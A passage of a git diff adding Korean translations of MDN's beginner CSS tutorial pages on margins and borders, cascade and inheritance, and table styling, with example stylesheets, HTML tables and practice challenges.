+    <p style="border: 2px solid red; padding: 4px 6em 4px 4px; margin: 0px 0px 0px 24px;">Here is a remark.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>내/외부 여백으로 element의 배치를 할때는 브라우저에서 제공하는 기본 값과 사용자가 정의한 값을 바탕으로 정해지므로 조금 복잡할 수도 있다.</p>
+
+<p>브라우저에 따라 보이는 내용이 다를 수 있다. stylesheet에 내용을 많이 추가 할 수록 브라우저 기본값보단 설정된 값을 많이 사용하므로 더욱더 비슷한 결과물을 볼수 있을 것이다.</p>
+
+<p>원하는 결과물을 얻기 위해서는, Document의 마크업들을 바꿔야 할지도 모른다. 다음장에서는 이에 대해 좀더 자세히 알아보자.</p>
+
+<p>내/외부 여백과 경계선등에 대해 좀더 자세히 알아보려면 <a href="/en/CSS/box_model" title="en/CSS/box model"><span class="external">Box model</span></a>를 참조하라.</p>
+</div>
+
+<h2 id="액션_경계선_추가">액션: 경계선 추가</h2>
+
+<p><code>style2.css</code>를 열어, 각 헤더별로 윗쪽에 줄을 긋는 아래 규칙을 추가 하라.</p>
+
+<pre class="brush:css">h3 {border-top: 1px solid gray;}
+</pre>
+
+<p>이 페이지 아래 도전과제를 수행한다면, 그 규칙을 변경하고, 그렇지 않다면 각 리스트 아래에 바깥 여백을 추가하는 아래 규칙을 추가 하라.</p>
+
+<pre class="brush:css">li {
+  list-style: lower-roman;
+  margin-bottom: 8px;
+  }
+</pre>
+
+<p>결과를 보기위해 브라우저에서 새로 읽어 보라.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+    <ul style="">
+     <li style="margin-bottom: 8px;">Arctic</li>
+     <li style="margin-bottom: 8px;">Atlantic</li>
+     <li style="margin-bottom: 8px;">Pacific</li>
+     <li style="margin-bottom: 8px;">Indian</li>
+     <li style="margin-bottom: 8px;">Southern</li>
+    </ul>
+
+    <p style="font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: .3em; padding: .4em 4em .16em 0; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+    <p><strong>1: </strong>Lorem ipsum</p>
+
+    <p><strong>2: </strong>Dolor sit</p>
+
+    <p><strong>3: </strong>Amet consectetuer</p>
+
+    <p><strong>4: </strong>Magna aliquam</p>
+
+    <p><strong>5: </strong>Autem veleum</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_example">
+<div class="tuto_type">도전</div>
+
+<p>예제 stylesheet에 하나의 규칙을 추가하여 아래처럼 바다가 연생되는 색으로 모든 경계를 두껍게 만들어 보라.</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+  <tr>
+   <td>
+    <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p>
+
+    <div style="border: 12px solid #69b; padding-left: 1em;">
+    <ul style="">
+     <li style="margin-bottom: 8px;">Arctic</li>
+     <li style="margin-bottom: 8px;">Atlantic</li>
+     <li style="margin-bottom: 8px;">Pacific</li>
+     <li style="margin-bottom: 8px;">Indian</li>
+     <li style="margin-bottom: 8px;">Southern</li>
+    </ul>
+    </div>
+
+    <p style="font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: .3em; padding: .4em 4em .16em 0; border-top: 1px solid gray;">(B) Numbered paragraphs</p>
+
+    <p><strong>. . .</strong></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p>(여기 보이는 예제와 똑같은 두께나 색상으로 바꿀 필요는 없다.)</p>
+</div>
+
+<p><a href="/en/CSS/Getting_Started/Challenge_solutions#Boxes" title="https://developer.mozilla.org/en/CSS/Getting_Started/Challenge_solutions#Boxes">결과 확인.</a></p>
+
+<h2 id="다음에는">다음에는?</h2>
+
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Layout", "배치") }}지금까지 내/외부 여백을 설정하여 Document의 배치를 수정 해 보았다. 다음 장에서는 Document의 배치를 바꾸는 다른 방법에 대해 알아보자.</p>
diff --git a/files/ko/web/css/시작하기/종속과_상속/index.html b/files/ko/web/css/시작하기/종속과_상속/index.html
new file mode 100644
index 0000000000..ac819c8c64
--- /dev/null
+++ b/files/ko/web/css/시작하기/종속과_상속/index.html
@@ -0,0 +1,126 @@
+---
+title: 종속과 상속
+slug: Web/CSS/시작하기/종속과_상속
+translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<div class="warning"><strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/14)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/How_CSS_works", "CSS 동작 원리")}}<span class="seoSummary"><a href="/en-US/docs/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서의 4번쨰 섹션; stylesheets가 종속적으로 동작하는 것과 element가 부모로 부터 style을 상속 받는 것에 대해 서술해 본다. 단순하게 document의 많은 Style중 어떤 Style을 사용할 것인지 한단계 상속만으로 하나의 Style을 stylesheet에 추가 할 수 있다.</span></p>
+
+<h2 class="clearLeft" id="정보_종속과_상속">정보: 종속과 상속</h2>
+
+<p>element의 최종 style은 다양한 상호작용을 통해 여러 장소에서 선언된 것을 사용할 수 있다. 이런 다양한 상호작용을 통해 CSS는 강력해 질 수 있으며, 반대로 디버그 하기에는 복잡하고 어려워 진다.</p>
+
+<p>종속의 세가지 주요 원천은 아래와 같다.</p>
+
+<ul>
+ <li>마크업 언어를 위한 브라우저의 기본 style들</li>
+ <li>document를 읽는 사용자가 정의하는 styles</li>
+ <li>만든이에 의해 Style은 Document와 연결된다. 다음 3곳에서 그 내용을 명시할 수 있다.These can be specified in three places:
+  <ul>
+   <li>외부 파일: 이 안내서에서 주로 취급하는 Style에 대한 정의하는 법.</li>
+   <li>Document의 시작 부분에 정의하는 법: 선언한 Style은 선언된 Document의 페이지에서만 사용된다.</li>
+   <li>Document body의 특정 element에: 유지 보수가 가장 불편한 방법이며, 주로 테스트 용도로 쓴다.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>사용자 Style은 브라우저의 기본 Style을 변경 할수 있다. document 만든이의 style 에서 더 수정 변경 될 수도 있다. 이 안내서에서는, 예제 Document에서 만든 자신만의 stylesheets를 만들 수 있다.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">예제</div>
+
+<p>이 문서를 브라우저로 보면, 일부 style은 브라우저의 기본 값을 사용한다.</p>
+
+<p>일부는 브라우저 셋팅에서 수정한 style이 저장된 파일에서 가져온다. 파이어 폭스 브라우저에서 "설정" 메뉴나, 브라우저 폴더에 있는 userContent.css 직접 수정하여 변경 가능하다.</p>
+
+<p>일부 style은 wiki server에 의해 Stylesheet에 정의된 값을 사용한다.</p>
+</div>
+
+<p>예제 Document를 브라우저에서 열면, {{ HTMLElement("strong") }} elements로 지정된 문자는 다른 문자들 보다 두껍다. 이 Style은 기본 Style로 설정된 값에서 나온다.</p>
+
+<p>{{ HTMLElement("strong") }} elements의 색상은 red이다. 이 값은 예제 stylesheet에서 값을 가져 온다.</p>
+
+<p>{{ HTMLElement("strong") }} elements는 {{ HTMLElement("p") }} element의 자식 style이므로 대부분의 {{ HTMLElement("p") }} element의 style을 상속한다. 같은 방식으로, {{ HTMLElement("p") }} element는 {{ HTMLElement("body") }} element의 대부분의 style을 상속한다.</p>
+
+<p>종속적인 면에서 style은, 제작자(author)의 stylesheets가 사용자(reader) stylesheet보다도 브라우저의 기본 값보다도 우선 순위가 높다.</p>
+
+<p>상속적인 면에서는, 자식 노드의 자체 Style이 부모의 Style보다 우선 순위가 높다.</p>
+
+<p>우선 순위만 적용되는 것은 아니다. 페이지 아래부분에 좀더 자세히 설명 하도록 하자.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">좀더 자세히</div>
+
+<p>CSS는 <code>!important 키워드를 써서 </code>사용자(reader)가 document 제작자(author)의 style을 덮어 쓰는 방법도 제공힌다.</p>
+
+<p>이는 Document 제작자에게 사용자가 항상 제작자가 만든 내용을 그대로 본다는 것을 보장 하지 않는 다는 것을 의미한다.</p>
+
+<p>종속과 상속에 대해 자세히 알고 싶다면, CSS의 상세 사양서 중 <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">속성 값 할당, 종속 및 상속</a> 부분을 보라.</p>
+</div>
+
+<h2 id="액션_상속_사용하기">액션: 상속 사용하기</h2>
+
+<ol>
+ <li>CSS 예제 파일을 편집해 보자.</li>
+ <li>아래 라인을 추가 하라. 이미 문서 내에 존재하는 다른 내용이 있더라도 문서의 어디에 추가하든 상관 없다. 그러나, 맨 위에 추가 할수록 Document에 있는{{ HTMLElement("p") }} element가 {{ HTMLElement("strong") }} element의 부모가 되므로 지역적으로 영향을 미친다.
+  <pre class="brush:css">p {color: blue; text-decoration: underline;}
+</pre>
+ </li>
+ <li>이제 브라우저를 갱신하여 적용된 사항을 보라. 첫글자를 포함한 모든 문자들에 밑출이 그어져 있다. {{ HTMLElement("strong") }} elements는 부모{{ HTMLElement("p") }} element의 밑줄 속성을 상속 받았다.<br>
+
+  <p>그러나 {{ HTMLElement("strong") }} elements는 여전히 붉은색이다. 붉은색 속성은 자체 속성이므로 부모인 {{ HTMLElement("p") }} element의 파란색 속성보다 우선한다.</p>
+ </li>
+</ol>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; padding: 1em;">
+</table>
+
+<table style="border: 2px outset #3366bb; margin-right: 2em; padding: 1em;">
+ <caption>Before</caption>
+ <tbody>
+  <tr>
+   <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <caption>After</caption>
+ <tbody>
+  <tr>
+   <td style="color: blue; text-decoration: underline;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_example">
+<div class="tuto_type">도전</div>
+Stylesheet를 변경하여 아래와 같이 붉은 글자만 밑줄 속성을 가지도록 수정 해 보라.
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+  <tr>
+   <td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Possible solution</div>
+
+<p>Move the declaration for underlining from the rule for {{ HTMLElement("p") }} to the one for {{ HTMLElement("strong") }}. The resulting file looks like this:</p>
+
+<pre class="brush: css">p {color: blue; }
+strong {color: orange; text-decoration: underline;}
+</pre>
+
+<p> </p>
+<a class="hideAnswer" href="#challenge">Hide solution</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">정답 확인</a></div>
+
+<h2 id="다음에는">다음에는?</h2>
+
+<p>{{ nextPage("/en-US/docs/CSS/Getting_Started/Selectors", "설렉터")}}예제 Stylesheet의 <code>&lt;p&gt;</code>와 <code>&lt;strong&gt; 태그</code>를 원하는 style로 임으로 바꾸어 보라. 다음 장에는 <a href="/en-US/docs/CSS/Getting_Started/Selectors" title="/en-US/docs/CSS/Getting_Started/Selectors">설렉터</a>를 사용하는 법에 대해 알아보자.</p>
diff --git a/files/ko/web/css/시작하기/테이블/index.html b/files/ko/web/css/시작하기/테이블/index.html
new file mode 100644
index 0000000000..f7e832dbf1
--- /dev/null
+++ b/files/ko/web/css/시작하기/테이블/index.html
@@ -0,0 +1,474 @@
+---
+title: 테이블
+slug: Web/CSS/시작하기/테이블
+translation_of: Learn/CSS/Building_blocks/Styling_tables
+---
+<p>{{ CSSTutorialTOC() }}</p>
+<div class="warning">
+  <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/03/20)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<p>{{ previousPage("/en-US/docs/CSS/Getting_Started/Layout", "배치") }}<a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS 시작하기</a> 안내서 13번째; 여기서는 고급 설렉터에 대해 알아보고, 테이블을 사용하는 특별한 방법에 대해 확인 해 보자. 테이블이 포함된 예제 Document와 여기서 사용될 Stylesheet를 만들어 보자.</p>
+<h2 class="clearLeft" id="정보_테이블">정보 : 테이블</h2>
+<p>테이블이란 정보를 사각 격자 형태로 배치하는 것을 말한다. 어떤 테이블은 복잡하게 구성 될 수 있으며 그 복잡한 테이블은 브라우저마나 다르게 보여줄 수도 있다.</p>
+<p>Document를 디자인 할때, 테이블을 이용하여 내용들 간의 관개정보들을 표시 할 수 있다. 브라우저별로 테이블을 조금 다르게 표시하여도 정보를 보여주는데는 크게 문제 되지 않는다.</p>
+<p>시각적인 표시의 사용목적으로 테이블을 사용하는 것은 좋지 않다. 테이블 보다는 이전 페이지에 소개한 배치(<strong><a href="/en/CSS/Getting_Started/Layout" title="en/CSS/Getting_Started/Layout">Layout</a></strong>)를 사용하는 것이 더 좋은 방법이다.</p>
+<h3 id="테이블_구조">테이블 구조</h3>
+<p>테이블에서는 각 내용들이 각 테이블 블럭에 표시된다.</p>
+<p>테이블의 같은 줄의 블럭은 하나의 행을 구성한다.</p>
+<p>몇몇 테이블에서는 행은 하나의 그룹으로 구성된다. 테이블의 첫 행의 그룹은 머릿말(<em>header)</em>로 사용된다.  테이블의 마지막 행의 그룹은 꼬릿말<em>(footer)</em>로 사용되기도 한다. 테이블의 다른 행들은 본문(<em>body</em>)이 되고 한 덩어리의 그룹으로 간주된다.</p>
+<p>아래에 있는 블럭은 하나의 열(<em>column</em>)로 구성되었고 제한적으로 사용되는 CSS테이블 이다.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p><a href="/en/CSS/Getting_Started/Selectors" title="en/CSS/Getting_Started/Selectors">설렉터</a>페이지 내의 <a href="/en/CSS/Getting_Started/Selectors#relselectors" title="en/CSS/Getting_Started/Selectors#relselectors">연관관계로 본 설렉터</a>의 테이블은 10개의 셀 블럭으로 구성된 5행 테이블이다.</p>
+  <p>첫번째 행은 머릿말이고 나머지 4개행은 본문이다. 꼬릿말은 없다.</p>
+  <p>열은 2개이다.</p>
+</div>
+<p>여기 안내서는 간단한 예제만을 다루고 있으며, 그 결과물은 쉽게 예상 가능한 수준이다. 간단한 테이블에서는 모든 셀블럭들은 하나의 행/열만을 차지한다. 셀이 하나 이상의 행이나 열을 차지하는 복잡한 테이블 구성 방법도 CSS를 통해 표현 가능하다. 그러나 이런 고급기술은 초급 안내서의 범주를 벗어난다.</p>
+<h3 id="경계">경계</h3>
+<p>셀 블럭은 바깥 여백이 없다.</p>
+<p>셀블럭은 바깥 여백과 들여쓰기 공간이 없다. 기본적으로 경계는 테이블 내용과의 같격을 {{ cssxref("border-spacing") }}속성으로 조절 가능하다. 테이블의 {{ cssxref("border-collapse") }}속성을 <code>collapse</code>로 설정하면 이 여백을 없앨 수 있다.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>여기 세가지 테이블을 확인 해 보자.</p>
+  <p>왼쪽 테이블은 0.5 em 경계 여백을 가지고 있다. 가운데는 경계 여백을 0으로 했으며, 오른쪽은 collapse속성을 사용 하였다.</p>
+  <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td style="padding-right: 2em;">
+          <table style="">
+            <tbody>
+              <tr>
+                <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+                <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+              </tr>
+              <tr>
+                <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+                <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+              </tr>
+            </tbody>
+          </table>
+        </td>
+        <td style="padding-right: 2em;">
+          <table style="">
+            <tbody>
+              <tr>
+                <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+                <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+              </tr>
+              <tr>
+                <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+                <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+              </tr>
+            </tbody>
+          </table>
+        </td>
+        <td style="padding-right: 6em;">
+          <table style="border-collapse: collapse;">
+            <tbody>
+              <tr>
+                <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+                <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+              </tr>
+              <tr>
+                <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+                <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+              </tr>
+            </tbody>
+          </table>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h3 id="캡션">캡션</h3>
+<p>캡션({{ HTMLElement("caption") }}) elemen전체 테이블에 적용되는 라벨이다. 기본적으로 테이블 위쪽에 표시된다.</p>
+<p>캡션을 아래쪽에 두고 싶다면 {{ cssxref("caption-side") }}속성 값을 <code>bottom</code>으로 설정하라. 속성은 상속되므로 상속받은 테이블들에 선택적으로 속성값 재설정도 가능하다.</p>
+<p>캡션의 텍스트 스타일을 조정 하려면 텍스트 속성을 사용하면 된다.</p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>이 테이블은 아래쪽에 캡션을 가지고 있다.</p>
+  <pre class="brush: css">#demo-table &gt; caption {
+  caption-side: bottom;
+  font-style: italic;
+  text-align: right;
+}
+</pre>
+  <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td>
+          <table>
+            <caption>
+              Suits</caption>
+            <tbody>
+              <tr>
+                <td>
+                  <table style="border-collapse: collapse;">
+                    <tbody>
+                      <tr>
+                        <td style="border: 1px solid gray; text-align: center;">Clubs</td>
+                        <td style="border: 1px solid gray; text-align: center;">Hearts</td>
+                      </tr>
+                      <tr>
+                        <td style="border: 1px solid gray; text-align: center;">Diamonds</td>
+                        <td style="border: 1px solid gray; text-align: center;">Spades</td>
+                      </tr>
+                    </tbody>
+                  </table>
+                </td>
+              </tr>
+            </tbody>
+          </table>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h3 id="빈_셀블럭">빈 셀블럭</h3>
+<p>테이블 element에 {{ cssxref("empty-cells") }}: show로 설정 함으로 빈 셀블럭을 표시 할 수 있다.</p>
+<p><code>empty-cells: hide로 설정하여 해당 셀블럭을 안보이도록 감출 수 있다. 셀의 부모 element가 배경색을 가지고 있다면 그 배경색이 보이게 될 것이다.</code></p>
+<div class="tuto_example">
+  <div class="tuto_type">
+    예제</div>
+  <p>이 테이블은 옅은 녹색 배경을 가지고 있으며, 셀은 진한 회색의 테두리와 회색 배경을 가지고 이다.</p>
+  <p>아래 테이블의 왼쪽은 빈 셀을 보여주고, 오른쪽은 셀감추기의 결과를 확인 할 수 있다.</p>
+  <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td style="padding-right: 2em;">
+          <table style="background-color: #dfd;">
+            <tbody>
+              <tr>
+                <td style="border: 1px solid #555; background-color: #eee;"> </td>
+                <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Hearts</td>
+              </tr>
+              <tr>
+                <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Diamonds</td>
+                <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Spades</td>
+              </tr>
+            </tbody>
+          </table>
+        </td>
+        <td style="padding-right: 6em;">
+          <table style="background-color: #dfd;">
+            <tbody>
+              <tr>
+                <td> </td>
+                <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Hearts</td>
+              </tr>
+              <tr>
+                <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Diamonds</td>
+                <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Spades</td>
+              </tr>
+            </tbody>
+          </table>
+        </td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div class="tuto_details">
+  <div class="tuto_type">
+    자세히</div>
+  <p>CSS 사양서의 <a class="external" href="http://www.w3.org/TR/CSS21/tables.html">테이블</a>에서 좀더 자세한 테이블에 대한 사항을 확인 하라.</p>
+  <p>여기에서 보다 더 자세한 테이블에 관한 내용을 확인 할 수 있지만, 브라우저별로 다르게 보여지는 복잡한 테이블에 대한 사항은 포함하고 있지 않다.</p>
+</div>
+<h2 id="액션_테이블_꾸미기">액션 : 테이블 꾸미기</h2>
+<ol>
+  <li><code>doc3.html파일을 만들어 아래 긴 코드를 전부 복사해 넣고 저장하라.</code>
+    <div style="height: 36em; overflow: auto;">
+      <pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Sample document 3&lt;/title&gt;
+    &lt;link rel="stylesheet" href="style3.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;table id="demo-table"&gt;
+      &lt;caption&gt;Oceans&lt;/caption&gt;
+      &lt;thead&gt;
+        &lt;tr&gt;
+          &lt;th&gt;&lt;/th&gt;
+          &lt;th&gt;Area&lt;/th&gt;
+          &lt;th&gt;Mean depth&lt;/th&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;&lt;/th&gt;
+          &lt;th&gt;million km&lt;sup&gt;2&lt;/sup&gt;&lt;/th&gt;
+          &lt;th&gt;m&lt;/th&gt;
+        &lt;/tr&gt;
+      &lt;/thead&gt;
+      &lt;tbody&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Arctic&lt;/th&gt;
+          &lt;td&gt;13,000&lt;/td&gt;
+          &lt;td&gt;1,200&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Atlantic&lt;/th&gt;
+          &lt;td&gt;87,000&lt;/td&gt;
+          &lt;td&gt;3,900&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Pacific&lt;/th&gt;
+          &lt;td&gt;180,000&lt;/td&gt;
+          &lt;td&gt;4,000&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Indian&lt;/th&gt;
+          &lt;td&gt;75,000&lt;/td&gt;
+          &lt;td&gt;3,900&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Southern&lt;/th&gt;
+          &lt;td&gt;20,000&lt;/td&gt;
+          &lt;td&gt;4,500&lt;/td&gt;
+        &lt;/tr&gt;
+      &lt;/tbody&gt;
+      &lt;tfoot&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Total&lt;/th&gt;
+          &lt;td&gt;361,000&lt;/td&gt;
+          &lt;td&gt;&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Mean&lt;/th&gt;
+          &lt;td&gt;72,000&lt;/td&gt;
+          &lt;td&gt;3,800&lt;/td&gt;
+        &lt;/tr&gt;
+      &lt;/tfoot&gt;
+    &lt;/table&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+    </div>
+  </li>
+  <li><code>style3.css</code>를 만들어 아래 긴 내용을 전부 복사해 넣어라.
+    <pre class="brush: css">/*** Style for doc3.html (Tables) ***/
+
+#demo-table {
+  font: 100% sans-serif;
+  background-color: #efe;
+  border-collapse: collapse;
+  empty-cells: show;
+  border: 1px solid #7a7;
+}
+
+#demo-table &gt; caption {
+  text-align: left;
+  font-weight: bold;
+  font-size: 200%;
+  border-bottom: .2em solid #4ca;
+  margin-bottom: .5em;
+}
+
+
+/* basic shared rules */
+#demo-table th,
+#demo-table td {
+  text-align: right;
+  padding-right: .5em;
+}
+
+#demo-table th {
+  font-weight: bold;
+  padding-left: .5em;
+}
+
+
+/* header */
+#demo-table &gt; thead &gt; tr:first-child &gt; th {
+  text-align: center;
+  color: blue;
+}
+
+#demo-table &gt; thead &gt; tr + tr &gt; th {
+  font-style: italic;
+  color: gray;
+}
+
+/* fix size of superscript */
+#demo-table sup {
+  font-size: 75%;
+}
+
+/* body */
+#demo-table td {
+  background-color: #cef;
+  padding:.5em .5em .5em 3em;
+}
+
+#demo-table tbody th:after {
+  content: ":";
+}
+
+
+/* footer */
+#demo-table tfoot {
+  font-weight: bold;
+}
+
+#demo-table tfoot th {
+  color: blue;
+}
+
+#demo-table tfoot th:after {
+  content: ":";
+}
+
+#demo-table &gt; tfoot td {
+  background-color: #cee;
+}
+
+#demo-table &gt; tfoot &gt; tr:first-child td {
+  border-top: .2em solid #7a7;
+}
+</pre>
+  </li>
+  <li>브라우저에서 열어서 아래와 같이 나오는 지 확인 하라.
+    <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+      <tbody>
+        <tr>
+          <td>
+            <div>
+              <p style="font: bold 200% sans-serif; text-align: left; border-bottom: .2em solid #4ca; margin: 0px 0px .5em 0px;">Oceans</p>
+              <div style="border: 1px solid #7a7; background-color: #efe;">
+                <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;">
+                  <tbody>
+                    <tr style="text-align: center; color: blue;">
+                      <th> </th>
+                      <th>Area</th>
+                      <th style="padding-left: .5em; padding-right: .5em;">Mean depth</th>
+                    </tr>
+                    <tr style="font-style: italic; color: gray;">
+                      <th> </th>
+                      <th style="padding-left: .5em; padding-right: .5em;">million km<sup>2</sup></th>
+                      <th style="padding-left: .5em; padding-right: .5em;">m</th>
+                    </tr>
+                    <tr>
+                      <th style="padding-right: .5em;">Arctic:</th>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">13,000</td>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">1,200</td>
+                    </tr>
+                    <tr>
+                      <th style="padding-right: .5em;">Atlantic:</th>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">87,000</td>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+                    </tr>
+                    <tr>
+                      <th style="padding-right: .5em;">Pacific:</th>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">180,000</td>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,000</td>
+                    </tr>
+                    <tr>
+                      <th style="padding-right: .5em;">Indian:</th>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">75,000</td>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+                    </tr>
+                    <tr>
+                      <th style="padding-left: .5em; padding-right: .5em;">Southern:</th>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">20,000</td>
+                      <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,500</td>
+                    </tr>
+                    <tr>
+                      <th style="padding-right: .5em; color: blue;">Total:</th>
+                      <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
+                      <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
+                    </tr>
+                    <tr>
+                      <th style="padding-right: .5em; color: blue;">Mean:</th>
+                      <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
+                      <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
+                    </tr>
+                  </tbody>
+                </table>
+              </div>
+            </div>
+          </td>
+        </tr>
+      </tbody>
+    </table>
+  </li>
+  <li>화면에 보여지는 테이블과 stylesheet에 추가한 규칙과 비교하여 각 규칙이 어떻게 적용되었는지 확인해 보라. 원하는 방향으로 적용되지 않은 규칙이 있다면 해당 규칙을 주석 처리해서 저장한 후 브라우저로 다시 읽어 확인 해 보라. 아래는 위의 테이블에 관해 확인 해볼 사항이다.
+    <ul>
+      <li>캡션은 테이블 바깥 경계에 표시된다.</li>
+      <li>옵션에 최소 포인트 크기 세트가 있다면 km<sup>2</sup>에 있는 '2'처럼 어깨 글자에 적용 될 것이다.</li>
+      <li>테이블은 세가지 빈 셀 블럭을 가지고 있다. 그중 둘은 테이블 배경색을 그대로 보여줄 수 있도록 설정되어 있다. 세번째 빈 셀블럭은 자체 색상과 위쪽에 경계선을 가지고 있다.</li>
+      <li>콜론은 Stylesheet에서 추가 되었다.</li>
+    </ul>
+  </li>
+</ol>
+<div class="tuto_example">
+  <div class="tuto_type">
+    도전</div>
+  <p>아래처럼 보이도록 Stylesheet를 바꿔 보라</p>
+  <table style="border: 2px outset #36b; padding: 1em 6em 1em 1em; background-color: white;">
+    <tbody>
+      <tr>
+        <td>
+          <div>
+            <div style="border: 1px solid #7a7; background-color: #efe;">
+              <table style="font: 100% sens-serif; background-color: #efe; border-collapse: collapse; text-align: right; padding-right: .5em;">
+                <tbody>
+                  <tr style="text-align: center; color: blue;">
+                    <th> </th>
+                    <th>Area</th>
+                    <th style="padding-left: .5em; padding-right: .5em;">Mean depth</th>
+                  </tr>
+                  <tr style="font-style: italic; color: gray;">
+                    <th> </th>
+                    <th style="padding-left: .5em; padding-right: .5em;">million km<sup>2</sup></th>
+                    <th style="padding-left: .5em; padding-right: .5em;">m</th>
+                  </tr>
